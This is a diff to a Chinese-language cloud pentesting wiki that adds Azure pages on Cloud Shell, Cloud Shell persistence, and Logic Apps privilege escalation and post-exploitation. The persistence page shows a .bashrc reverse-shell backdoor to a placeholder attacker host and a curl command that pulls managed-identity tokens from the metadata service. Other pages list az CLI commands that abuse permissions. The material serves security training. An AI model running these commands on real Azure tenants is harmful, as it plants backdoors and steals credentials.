diff --git a/src/SUMMARY.md b/src/SUMMARY.md index d05776c71..4d0520541 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -409,6 +409,7 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md) - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) @@ -452,6 +453,7 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) + - [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md) - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) @@ -471,6 +473,7 @@ - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) + - [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md) - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) @@ -480,6 +483,7 @@ - [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md) - [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md) - [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md) + - [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md) - [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md) - [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md) - [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md new file mode 100644 index 000000000..c063bd974 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -0,0 +1,56 @@ +# Az - Cloud Shell Persistence + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。 + +
+{% endhint %} + +## Cloud Shell Persistence + +Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点: + +* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持不变。 +* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,允许在云 shell 启动时进行持久执行。 + +在 .bashrc 中的示例后门: + +{% code overflow="wrap" %} +```bash +echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc +``` +{% endcode %} + +这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。 + +此外,查询 Azure 的元数据服务以获取实例详细信息和令牌: +{% code overflow="wrap" %} +```bash +curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s +``` +{% endcode %} + + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md new file mode 100644 index 000000000..fd8b0626a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -0,0 +1,183 @@ +# Az - Logic Apps 后期利用 + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。 + +
+{% endhint %} + +## Logic Apps 数据库后期利用 +有关逻辑应用的更多信息,请查看: + +{% content-ref url="../az-services/az-logic-apps.md" %} +[az-logic-apps.md](../az-services/az-logic-apps.md) +{% endcontent-ref %} + +### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +拥有这些权限后,您可以修改 Logic App 工作流并管理其身份。具体来说,您可以将系统分配和用户分配的托管身份分配或移除到工作流,这使得 Logic App 可以在没有显式凭据的情况下进行身份验证并访问其他 Azure 资源。 + +{% code overflow="wrap" %} +```bash +az logic workflow identity remove/assign \ +--name \ +--resource-group \ +--system-assigned true \ +--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" +``` +{% endcode %} + +### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" +拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制执行。 + +{% code overflow="wrap" %} +```bash +az logicapp update \ +--resource-group \ +--name \ +--set httpsOnly=false +``` +{% endcode %} + +### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" +拥有此权限,您可以启动/停止/重启一个 web 应用,包括托管在 App Service Plan 上的 Logic Apps。此操作确保之前停止的应用程序重新上线并恢复其功能。这可能会干扰工作流程,触发意外操作,或通过意外启动、停止或重启 Logic Apps 导致停机。 + +{% code overflow="wrap" %} +```bash +az webapp start/stop/restart \ +--name \ +--resource-group +``` +{% endcode %} + + +### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" + +通过此权限,您可以配置或修改 Web 应用的设置,包括托管在应用服务计划上的逻辑应用。这允许更改应用设置、连接字符串、身份验证配置等。 + +{% code overflow="wrap" %} +```bash +az logicapp config appsettings set \ +--name \ +--resource-group \ +--settings "=" +``` +{% endcode %} + +### "Microsoft.Logic/integrationAccounts/write" +拥有此权限,您可以创建、更新或删除 Azure Logic Apps 集成帐户。这包括管理集成帐户级别的配置,如映射、模式、合作伙伴、协议等。 + +{% code overflow="wrap" %} +```bash +az logic integration-account create \ +--resource-group \ +--name \ +--location \ +--sku \ +--state Enabled +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" + +拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改批处理配置。批处理配置定义了 Logic Apps 如何处理和分组传入的消息以进行批处理。 + +{% code overflow="wrap" %} +```bash +az logic integration-account batch-configuration create \ +--resource-group \ +--integration-account-name \ +--name \ +--release-criteria '{ +"messageCount": 100, +"batchSize": 1048576, +}' +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" +拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改映射。映射用于将数据从一种格式转换为另一种格式,从而实现不同系统和应用程序之间的无缝集成。 + +{% code overflow="wrap" %} +```bash +az logic integration-account map create \ +--resource-group \ +--integration-account-name \ +--name \ +--map-type \ +--content-type application/xml \ +--map-content map-content.xslt +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" +拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改合作伙伴。合作伙伴代表参与企业对企业(B2B)工作流的实体或系统。 + +{% code overflow="wrap" %} +```bash +az logic integration-account partner create \ +--resource-group \ +--integration-account-name \ +--name \ +--partner-type \ +--content '{ +"b2b": { +"businessIdentities": [ +{ +"qualifier": "ZZ", +"value": "TradingPartner1" +} +] +} +}' +``` +{% endcode %} + +### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +拥有此权限,您可以在 Azure Logic Apps 集成帐户中创建或修改会话。会话用于 B2B 工作流,以在定义的时间段内对消息进行分组并跟踪相关交易。 + +{% code overflow="wrap" %} +```bash +az logic integration-account session create \ +--resource-group \ +--integration-account-name \ +--name \ +--content '{ +"properties": { +"sessionId": "session123", +"data": { +"key1": "value1", +"key2": "value2" +} +} +}' +``` +{% endcode %} + +### "*/delete" +通过此权限,您可以删除与 Azure Logic Apps 相关的资源 + + + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md new file mode 100644 index 000000000..5d7c611f9 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -0,0 +1,77 @@ +# Az - Logic Apps Privesc + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。 + +
+{% endhint %} + +## Logic Apps Privesc +有关 SQL 数据库的更多信息,请查看: + +{% content-ref url="../az-services/az-logic-apps.md" %} +[az-logic-apps.md](../az-services/az-logic-apps.md) +{% endcontent-ref %} + +### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") + +拥有此权限后,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了各种系统和服务之间的自动化过程和集成。 + +{% code overflow="wrap" %} +```bash +az logic workflow create \ +--resource-group \ +--name \ +--definition \ +--location + +az logic workflow update \ +--name my-new-workflow \ +--resource-group logicappgroup \ +--definition +``` +{% endcode %} + +更改后,您可以使用以下命令运行它: +```bash +az rest \ +--method post \ +--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \ +--body '{}' \ +--headers "Content-Type=application/json" +``` +### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") +拥有这些权限后,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。 + +{% code overflow="wrap" %} +```bash +az logicapp deployment source config-zip \ +--name \ +--resource-group \ +--src +``` +{% endcode %} + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index d0431a1c6..00e480380 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -18,9 +18,9 @@ Azure App Services 使开发人员能够 **无缝构建、部署和扩展 Web 应用程序有一些有趣的配置: - **始终开启**:确保应用程序始终运行。如果未启用,应用程序将在 20 分钟不活动后停止运行,并在收到请求时重新启动。 -- 如果您有需要持续运行的 Web 作业,这是必需的,因为如果应用程序停止,Web 作业也会停止。 +- 如果您有需要持续运行的 WebJob,这是必需的,因为如果应用程序停止,WebJob 将停止。 - **SSH**:如果启用,具有足够权限的用户可以使用 SSH 连接到应用程序。 -- **调试**:如果启用,具有足够权限的用户可以调试应用程序。但是,这会在每 48 小时自动禁用。 +- **调试**:如果启用,具有足够权限的用户可以调试应用程序。然而,这将在每 48 小时自动禁用。 - **Web 应用 + 数据库**:Web 控制台允许创建带有数据库的应用程序。在这种情况下,可以选择要使用的数据库(SQLAzure、PostgreSQL、MySQL、MongoDB),并且还允许您创建 Azure Cache for Redis。 - 包含数据库和 Redis 凭据的 URL 将存储在 **appsettings** 中。 - **容器**:可以通过指示容器的 URL 和访问凭据将容器部署到 App Service。 @@ -28,7 +28,7 @@ Azure App Services 使开发人员能够 **无缝构建、部署和扩展 Web ## Basic Authentication -在创建 Web 应用程序(通常是 Azure 函数)时,可以指示是否要 **启用基本身份验证**(默认情况下禁用)。这基本上 **启用 SCM(源代码管理)和 FTP(文件传输协议)**,因此可以使用这些技术部署应用程序。 +在创建 Web 应用程序(通常是 Azure 函数)时,可以指示是否要 **启用基本身份验证**(默认禁用)。这基本上 **启用 SCM(源代码管理)和 FTP(文件传输协议)**,因此可以使用这些技术部署应用程序。 要访问 SCM 和 FTP 服务器,需要 **用户名和密码**。因此,Azure 提供了一些 **API 来获取这些平台的 URL** 和凭据。 @@ -39,20 +39,20 @@ SCM ### Kudu -Kudu 是 **管理 SCM 和 Web 及 API 接口** 的平台,用于管理 App Service,并提供基于 Git 的部署、远程调试和文件管理功能。可以通过在 Web 应用程序中定义的 SCM URL 访问。 +Kudu 是 **管理 SCM 和 Web/API 接口** 的平台,用于管理 App Service,并提供基于 Git 的部署、远程调试和文件管理功能。可以通过在 Web 应用中定义的 SCM URL 访问它。 请注意,App Services 和 Function Apps 使用的 Kudu 版本不同,Function Apps 的版本要有限得多。 -您可以在 Kudu 中找到一些有趣的端点: +您可以在 Kudu 中找到的一些有趣的端点包括: - `/BasicAuth`:您需要访问此路径以 **登录 Kudu**。 - `/DebugConsole`:一个控制台,允许您在 Kudu 运行的环境中执行命令。 - 请注意,此环境 **无法访问** 元数据服务以获取令牌。 - `/webssh/host`:一个基于 Web 的 SSH 客户端,允许您连接到应用程序运行的容器内。 -- 此环境 **可以访问元数据服务** 以获取分配的管理身份的令牌。 +- 此环境 **可以访问** 元数据服务,以便从分配的管理身份中获取令牌。 - `/Env`:获取有关系统、应用设置、环境变量、连接字符串和 HTTP 头的信息。 -- `/wwwroot/`:Web 应用程序的根目录。您可以从这里下载所有文件。 +- `/wwwroot/`:Web 应用的根目录。您可以从这里下载所有文件。 -此外,Kudu 曾在 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) 上开源,但该项目已被弃用,比较当前 Azure 中的 Kudu 与旧版 Kudu 的行为,可以看到 **许多事情已经改变**。 +此外,Kudu 曾经是开源的,地址为 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu),但该项目已被弃用,比较当前 Azure 中的 Kudu 与旧版 Kudu 的行为,可以看到 **许多事情已经改变**。 ## Sources @@ -65,31 +65,31 @@ App Services 默认允许将代码作为 zip 文件上传,但也允许连接 - 您可以通过运行 `az webapp deployment source show --name --resource-group ` 或 `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` 获取远程仓库的凭据。 - 还可以使用 **Azure Repository**。 - 还可以配置 **本地 git 仓库**。 -- 您可以通过 `az webapp deployment source show --name --resource-group ` 获取 git 仓库的 URL,这将是应用程序的 SCM URL。 +- 您可以通过 `az webapp deployment source show --name --resource-group ` 获取 git 仓库的 URL,这将是应用的 SCM URL。 - 要克隆它,您将需要 SCM 凭据,可以通过 `az webapp deployment list-publishing-profiles --resource-group -n ` 获取。 ## Webjobs -Azure WebJobs 是 **在 Azure App Service 环境中运行的后台任务**。它们允许开发人员在其 Web 应用程序旁边执行脚本或程序,使处理异步或耗时操作(例如文件处理、数据处理或计划任务)变得更加容易。 -Web 作业有 2 种类型: -- **持续**:无限期循环运行,并在创建后立即触发。它非常适合需要持续处理的任务。但是,如果应用程序因未启用始终开启而停止运行,并且在过去 20 分钟内未收到请求,则 Web 作业也会停止。 -- **触发**:按需或基于计划运行。最适合定期任务,例如批量数据更新或维护例程。 +Azure WebJobs 是 **在 Azure App Service 环境中运行的后台任务**。它们允许开发人员在 Web 应用程序旁边执行脚本或程序,使处理异步或耗时操作(例如文件处理、数据处理或计划任务)变得更加容易。 +WebJobs 有 2 种类型: +- **持续**:无限期循环运行,并在创建后立即触发。它非常适合需要持续处理的任务。然而,如果应用程序因未启用始终开启而停止运行,并且在过去 20 分钟内未收到请求,则 WebJob 也将停止。 +- **触发**:按需或基于计划运行。它最适合定期任务,例如批量数据更新或维护例程。 -从攻击者的角度来看,Web 作业非常有趣,因为它们可以用来 **在环境中执行代码** 并 **提升权限** 到附加的管理身份。 +从攻击者的角度来看,WebJobs 非常有趣,因为它们可以用来 **在环境中执行代码** 并 **提升权限** 到附加的管理身份。 -此外,检查 Web 作业生成的 **日志** 总是很有趣,因为它们可能包含 **敏感信息**。 +此外,检查 WebJobs 生成的 **日志** 也总是很有趣,因为它们可能包含 **敏感信息**。 ## Slots -Azure App Service Slots 用于 **将不同版本的应用程序部署到同一 App Service**。这允许开发人员在将新功能或更改部署到生产环境之前,在单独的环境中进行测试。 +Azure App Service Slots 用于 **将应用程序的不同版本部署到同一 App Service**。这允许开发人员在将新功能或更改部署到生产环境之前,在单独的环境中进行测试。 -此外,可以将 **一定比例的流量** 路由到特定插槽,这对于 A/B 测试和 **后门目的** 很有用。 +此外,可以将 **一定比例的流量** 路由到特定的插槽,这对于 A/B 测试和 **后门目的** 很有用。 ## Azure Function Apps -基本上 **Azure Function 应用程序是 Azure App Service 的一个子集**,如果您访问 Web 控制台并列出所有应用服务或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function 应用程序也列在其中**。 +基本上 **Azure Function 应用是 Azure App Service 的一个子集**,在 Web 控制台中,如果您访问 Web 控制台并列出所有应用服务或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function 应用也列在其中**。 -因此,这两项服务实际上在 az cli 中具有大多数 **相同的配置、功能和选项**,尽管它们可能会稍微不同地配置(例如 appsettings 的默认值或在 Function 应用程序中使用存储帐户)。 +因此,这两项服务实际上在 az cli 中大多数 **具有相同的配置、功能和选项**,尽管它们可能以稍微不同的方式配置(例如 appsettings 的默认值或在 Function 应用中使用存储帐户)。 ## Enumeration @@ -181,10 +181,55 @@ az webapp hybrid-connections list --name --resource-group {{#tab name="Az Powershell" }} ```bash +Get-Command -Module Az.Websites + # Get App Services and Function Apps Get-AzWebApp # Get only App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} + +# Retrieves details of a specific App Service Environment in the specified resource group. +Get-AzAppServiceEnvironment -ResourceGroupName -Name +# Retrieves the access restriction configuration for a specified Web App. +Get-AzWebAppAccessRestrictionConfig -ResourceGroupName -Name +# Retrieves the SSL certificates for a specified resource group. +Get-AzWebAppCertificate -ResourceGroupName +# Retrieves the continuous deployment URL for a containerized Web App. +Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName -Name +# Retrieves the list of continuous WebJobs for a specified Web App. +Get-AzWebAppWebJob -ResourceGroupName -AppName +# Retrieves the list of triggered WebJobs for a specified Web App. +Get-AzWebAppTriggeredWebJob -ResourceGroupName -AppName + +# Retrieves details of a deleted Web App in the specified resource group. +Get-AzDeletedWebApp -ResourceGroupName -Name +# Retrieves a list of snapshots for a specified Web App. +Get-AzWebAppSnapshot -ResourceGroupName -Name +# Retrieves the history of a specific triggered WebJob for a Web App. +Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName -AppName -Name + +# Retrieves information about deployment slots for a specified Web App. +Get-AzWebAppSlot -ResourceGroupName -Name +# Retrieves the continuous WebJobs for a specific deployment slot of a Web App. +Get-AzWebAppSlotWebJob -ResourceGroupName -AppName -SlotName +# Retrieves the triggered WebJobs for a specific deployment slot of a Web App. +Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName -AppName -SlotName +# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App. +Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName -AppName -SlotName -Name +# Retrieves the continuous WebJobs for a Web App. +Get-AzWebAppContinuousWebJob -ResourceGroupName -AppName +# Retrieves the continuous WebJobs for a specific deployment slot of a Web App. +Get-AzWebAppSlotContinuousWebJob -ResourceGroupName -AppName -SlotName + +# Retrieves the traffic routing rules for a Web App. +Get-AzWebAppTrafficRouting -ResourceGroupName -WebAppName -RuleName + +# Retrieves details of a specific backup for a Web App. +Get-AzWebAppBackup -ResourceGroupName -Name -BackupId +# Retrieves the backup configuration for a Web App. +Get-AzWebAppBackupConfiguration -ResourceGroupName -Name +# Retrieves the list of all backups for a Web App. +Get-AzWebAppBackupList -ResourceGroupName -Name ``` {{#endtab }} @@ -243,7 +288,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs > [!TIP] > 仅通过 FTP 连接并修改文件 `output.tar.gz` 并不足以更改 webapp 执行的代码。 -**攻击者可以下载此文件,修改它,然后重新上传以在 webapp 中执行任意代码。** +**攻击者可以下载此文件,修改它,然后再次上传以在 webapp 中执行任意代码。** ### 来自 Github 的 Python diff --git a/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md new file mode 100644 index 000000000..e3c92ce20 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-cloud-shell.md @@ -0,0 +1,58 @@ +# Az - Cloud Shell + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +支持 HackTricks + +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。 + +
+{% endhint %} + +## Azure Cloud Shell + +**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享持久化文件。可以通过多个点访问 Cloud Shell,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。 + +此服务没有分配权限,因此没有特权升级技术。同时也没有任何类型的枚举。 + +### 主要特性 + +**环境**:Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境,Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。 +**预安装工具**:Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git 以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块,可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。 +**$HOME 持久性**:首次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。 +**Azure 驱动器 (Azure:)**:Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlets 从任何驱动器管理资源。 +**自定义工具安装**:配置了存储帐户的用户可以安装不需要根权限的额外工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。 + +## 参考 + +* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) + + +## 持久性 + +{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} +[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) +{% endcontent-ref %} + +{% hint style="success" %} +学习和实践 AWS 